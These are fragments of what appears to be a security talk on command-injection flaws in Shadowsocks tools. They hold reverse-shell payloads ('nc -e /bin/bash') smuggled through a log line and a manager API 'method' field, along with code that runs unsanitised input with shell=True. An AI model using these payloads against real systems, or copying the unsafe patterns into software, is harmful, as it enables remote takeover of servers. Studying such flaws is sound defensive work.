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https://youtu.be/z6I9XtlZQVw
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python	autoban.py	<	/var/log/shadowsocks.log
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nohup	tail	-F	/var/log/shadowsocks.log	|	\
python	autoban.py	>log	2>log	&

for	line	in	sys.stdin:
								if	'can	not	parse	header	when'	not	in	line:
												continue
								ip_str	=	line.split()[-1].rsplit(':',	1)[0]
								ip	=	inet_pton(ip_str)
								...
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...
if	ip	not	in	banned	and	ips[ip]	>=	config.count:
				banned.add(ip)
				print('ban	ip	%s'	%	ip_str)
				cmd	=	['iptables',	'-A',	'INPUT',	'-s',
											ip_str,	'-j',	'DROP',	'-m',
											'comment',	'--comment',	'autoban']
				print('	'.join(cmd),	file=sys.stderr)
				sys.stderr.flush()
				subprocess.call(cmd)
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"	can	not	parse	header	when	||
ls&:\n
nc	-e	/bin/bash	127.0.0.1	55555\n
exit\n
can	not	parse	header	when	||\
/bin/bash</var/log/shadowsocks.log&:\n"
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https://youtu.be/08zw5CEgj7c
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if	(system(cmd)	==	-1)	{"
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nc	-u	127.0.0.1	8839
add:	{"server_port":8003,
						"password":"test",
						"method":"||nc	-e	/bin/bash	127.0.0.1	55555||"}
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https://youtu.be/2q6Ioe6q0Rc
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http://ss.ishadowx.com/


sss='{}	-s	{}	-p	{}	-k	{}	-m	{}	{}
				'.format(args.ss,
													self.servers[num-1][0],
													self.servers[num-1][1],
													self.servers[num-1][2],
													self.servers[num-1][3],
													ssopt)
print(sss)
try:
				check_call(sss,	shell=True)
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https://ss.ishadowx.com/


p	=	subprocess.Popen("exec	"	+	ss_local_cmd,
																			shell=True,
																			stdout=subprocess.PIPE,
																			stderr=subprocess.STDOUT)
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